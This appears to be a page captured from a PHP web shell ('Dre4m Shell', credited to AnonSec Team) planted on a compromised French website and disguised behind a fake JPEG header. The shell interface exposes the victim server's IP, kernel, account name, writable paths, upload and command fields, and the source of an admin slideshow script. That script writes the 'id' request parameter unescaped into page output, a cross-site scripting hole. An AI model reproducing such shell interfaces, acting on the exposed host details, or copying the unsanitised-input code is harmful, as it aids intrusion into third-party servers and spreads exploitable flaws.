ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/cp-admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/cp-admin/slideshow_content.php
<?php
$slideshow = $_GET['id'];

$jsOnReady = '$(".fancybox").fancybox({
maxWidth	: 800,
maxHeight	: 600,
width		: "70%",
height		: "70%",
});
';
include_once('includes/header.php');
$id_volet ="44";
include('includes/volet.php');
/****************************/

if (isset($_GET['online'])) {

  $id = $_GET['online'];

  $requete = $bdd->prepare('UPDATE ' . $GLOBALS['db_table']['slideshow_pictures'] . ' SET status = 1 WHERE id = :id');
  $requete->execute(array('id' => $id));

  echo '<script>';
  echo 'window.location = "./slideshow_content.php?id=' . $slideshow . '"';
  echo '</script>';
}

if (isset($_GET['offline'])) {

  $id = $_GET['offline'];

  $requete = $bdd->prepare('UPDATE ' . $GLOBALS['db_table']['slideshow_pictures'] . ' SET status = 0 WHERE id = :id');
  $requete->execute(array('id' => $id));

  echo '<script>';
  echo 'window.location = "./slideshow_content.php?id=' . $slideshow . '"';
  echo '</script>';
}
?>

<script type="text/javascript">
  $(document).ready(function() {
    $("#sortlist").Sortable({
      accept: 'dragDrop',
      opacity: 0.6,
      axis : 'vertically',
      onchange : function ( sorted ) {
        serial = $.SortSerialize ('sortlist'); 
        // requète Ajax pour l'enregistrement des positions
        $.ajax ( {
          url : "includes/set_position.php?table=slideshow_pictures&field=position",
          type : "post",
          data : serial.hash
        });
      }
    });
  });
</script>

<div class="container">
    <div class="row">
    	<div class="span12">
        	<div class="page-header">
           	 	<h1>Image(s) de votre Slideshow
           	 		<div class="pull-right">
                  <a href="add_slideshow_pictures.php?id=<?php echo $slideshow; ?>" class="btn btn-primary" id="form"><i class="icon-plus"></i> Ajouter Image(s)</a>
            			<a href="slideshows.php" class="btn btn-primary"><i class="icon-arrow-left"></i> Retour</a>
        			 </div>
        		  </h1>
          	</div>
        </div>
    </div>
    <table class="table table-bordered table-striped">
	
		<?php
    $requete = $bdd->prepare('SELECT * FROM ' . $GLOBALS['db_table']['slideshow_pictures'] . ' WHERE slideshow = :slideshow ORDER BY position');
    $requete->execute(array('slideshow' => $slideshow));
    $images = $requete->fetchAll();
  
    echo '<table id="sortlist" class="table table-bordered table-striped">
            <tr>
                <th class="span1 center">Vignette</th>
                <th class="span1 center">Opérations</th>                                        
            </tr>';
  
    for($i=0; $i<count($images); $i++) {
      $id = $images[$i]['id'];
      $status = $images[$i]['status'];
      $name = $images[$i]['name'];
      $picture = $images[$i]['picture'];

      echo '
      <tr class="dragDrop" id="img_'.$id.'" title="'.$name.'" style="cursor : ns-resize;">
        <td class="span1 font11 center">
          <img src="../uploadfiles/slideshows/'.$picture.'" style="max-height: 70px;" style="margin-bottom:5px;">
        </td>
        <td class="center">';

          if($status == 0)
            echo '<a href="./slideshow_content.php?id=' . $slideshow . '&online='.$id.'"><img src="assets/img/offline.png" title="Editer la page"></a>';
          else
            echo '<a href="./slideshow_content.php?id=' . $slideshow . '&offline='.$id.'"><img src="assets/img/online.png" title="Editer la page"></a>';

          echo '&nbsp;
          <a href="#" id="'.$id.'" class="delete_slideshow_picture_btn delete">
            <img src="assets/img/delete.png" title="Supprimer l\'image">
          </a>&nbsp;
          <a href="edit_slideshow.php?id=' . $id . '&slideshow='.$slideshow.'" id="'.$id.'" class="display_edit_btn">
            <img src="assets/img/edit.png" title="Editer l\'image">
          </a>&nbsp;
          <a href="../uploadfiles/slideshows/'.$picture.'" rel="group" class="fancybox" title="'.$name.'">
            <img src="assets/img/view.png" title="Voir l\'image">
          </a>&nbsp;
        </td>
      </tr>';
    }
    
    if(count($images)==0) echo 'No images found';
    
    echo '<div style="clear:both;"></div>';

    echo '</table>';
		?>
	
	</table>
</div>

<script type="text/javascript" src="assets/js/chosen.jquery.js" ></script>
<script type="text/javascript">
    var config = {
      	'.chosen-select'           : {},
      	'.chosen-select-deselect'  : {allow_single_deselect:true},
      	'.chosen-select-no-single' : {disable_search_threshold:10},
      	'.chosen-select-no-results': {no_results_text:'Oops, nothing found!'},
      	'.chosen-select-width'     : {width:"95%"}
    }
    for (var selector in config) {
      	$(selector).chosen(config[selector]);
    }
</script>

<?php
include_once('includes/footer.php');
?>

Anon7 - 2022
AnonSec Team